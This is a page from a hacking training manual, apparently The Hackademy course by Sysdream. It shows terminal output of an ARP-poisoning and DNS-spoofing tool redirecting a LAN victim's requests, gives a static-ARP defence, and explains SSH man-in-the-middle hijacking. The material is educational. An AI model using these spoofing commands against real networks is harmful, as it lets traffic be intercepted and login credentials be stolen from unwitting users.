Hack Security Pro.pdf - Index of

Laptop:/# denver -s -i wlan0 -g 192.168.124.1 -h 192.168.124.12 -d www.google.com -p
213.30.164.104
Starting denver 1.0 --- denver@ilionsecurity.ch
Error: the host and the local interface ip's are the same.
Laptop:/# denver -s -i wlan0 -g 192.168.124.1 -h 192.168.124.10 -d www.google.com -p
213.30.164.104
Starting denver 1.0 --- denver@ilionsecurity.ch
Checking if host and gateway are up and running on the LAN ...
Success.
192.168.124.10 is beeing fooled.
Waiting for DNS requests ...
--------
DNS request to 'www.google.com' spoofed successfully
Security
As the ARP protocol is used to update tables, the best way to avoid this type of attack is to
manually fill the ARP cache of each machine. For this, we will use the arp program, which will
enable us to carry out this operation by associating each IP present on the network to its real
physical address:
arp -s x.x.x.x y-y-y-y-y-y
6.Attacking secure protocols
A) SSH
SSH can establish a secure communication in command shell mode. There are today two versions of
the SSH protocol, ssh1 and ssh2. The whole communication as well as the login/password are
exchanged in an encrypted manner on the network. The establishment of the secure communication
follows the following process:
1) Connection request from the client.
2) Server sends banner.
3) Server sends public key.
4) A symmetric key generated by the client is encrypted with the public key provided by the server.
5) Symmetric key is sent to server
6) Communication is established.
Hijacking an SSH session is comparable to hijacking an SSL one. The pirate places himself between
the client and the server and emulates an SSH server to which the client will be re-directed in order to
identify himself. In turn, the hacker establishes a communication with the final SSH server thanks to
the login and password obtained from the client. If ssh1 is vulnerable to this type of attack, ssh2 is
supposed to be protected from it.
The Hackademy DMP -94/209- SYSDREAM